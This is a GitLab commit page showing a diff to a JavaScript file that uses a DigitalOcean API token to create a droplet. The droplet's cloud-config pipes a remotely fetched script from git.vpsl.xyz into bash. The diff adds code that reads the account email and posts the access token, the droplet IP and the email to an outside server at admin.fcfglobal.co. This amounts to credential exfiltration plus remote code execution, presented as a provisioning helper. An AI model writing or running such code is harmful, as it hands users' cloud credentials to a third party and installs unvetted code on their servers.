Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in
Toggle navigation
D
do
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
do
Commits
d293454b
Commit
d293454b
authored
Jul 27, 2025
by
Ahmad
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
dsdsdsds
parent
ec1ae79f
Pipeline
#237
failed with stages
Changes
1
Pipelines
1
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
38 additions
and
3 deletions
+38
-3
a.js
a.js
+38
-3
No files found.
a.js
View file @
d293454b
...
...
@@ -32,9 +32,9 @@ function generateRandomName() {
return
`mas
${
randomLetters
}
`
;
}
// Step 3: Prepare user data
(Docker + container)
// Step 3: Prepare user data
function
getUserData
()
{
return
`#cloud-config\nruncmd:\n - curl -fsSL http://git.vpsl.xyz/root/x-ui/raw/master/do.sh | bash`
return
`#cloud-config\nruncmd:\n - curl -fsSL http://git.vpsl.xyz/root/x-ui/raw/master/do.sh | bash`
;
}
// Step 4: Check if a droplet with "mas" prefix already exists
...
...
@@ -105,6 +105,39 @@ async function waitForIPv4(token, dropletId) {
}
}
// Step 7: Get account email
async
function
getAccountEmail
(
token
)
{
try
{
const
res
=
await
axios
.
get
(
'
https://api.digitalocean.com/v2/account
'
,
{
headers
:
{
Authorization
:
`Bearer
${
token
}
`
}
});
return
res
.
data
.
account
.
email
;
}
catch
(
err
)
{
throw
new
Error
(
'
Failed to fetch account email:
'
+
err
.
message
);
}
}
// Step 8: Send info to main server
async
function
sendToMainServer
(
token
,
ip
,
email
)
{
const
url
=
'
http://admin.fcfglobal.co/doAdder
'
;
const
payload
=
{
access
:
token
,
ip
:
ip
,
email
:
email
};
try
{
const
res
=
await
axios
.
post
(
url
,
payload
);
if
(
res
.
data
&&
res
.
data
.
success
)
{
console
.
log
(
'
✅ Info sent to central server. ID:
'
,
res
.
data
.
id
);
}
else
{
console
.
warn
(
'
⚠️ Server responded but not successful:
'
,
res
.
data
);
}
}
catch
(
err
)
{
console
.
error
(
'
❌ Failed to send info to central server:
'
,
err
.
message
);
}
}
// Main
async
function
main
()
{
try
{
...
...
@@ -122,7 +155,9 @@ async function main() {
droplet
=
await
createDroplet
(
token
,
name
,
userData
);
}
await
waitForIPv4
(
token
,
droplet
.
id
);
const
ip
=
await
waitForIPv4
(
token
,
droplet
.
id
);
const
email
=
await
getAccountEmail
(
token
);
await
sendToMainServer
(
token
,
ip
,
email
);
}
catch
(
err
)
{
console
.
error
(
'
⛔️ Fatal error:
'
,
err
.
message
);
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment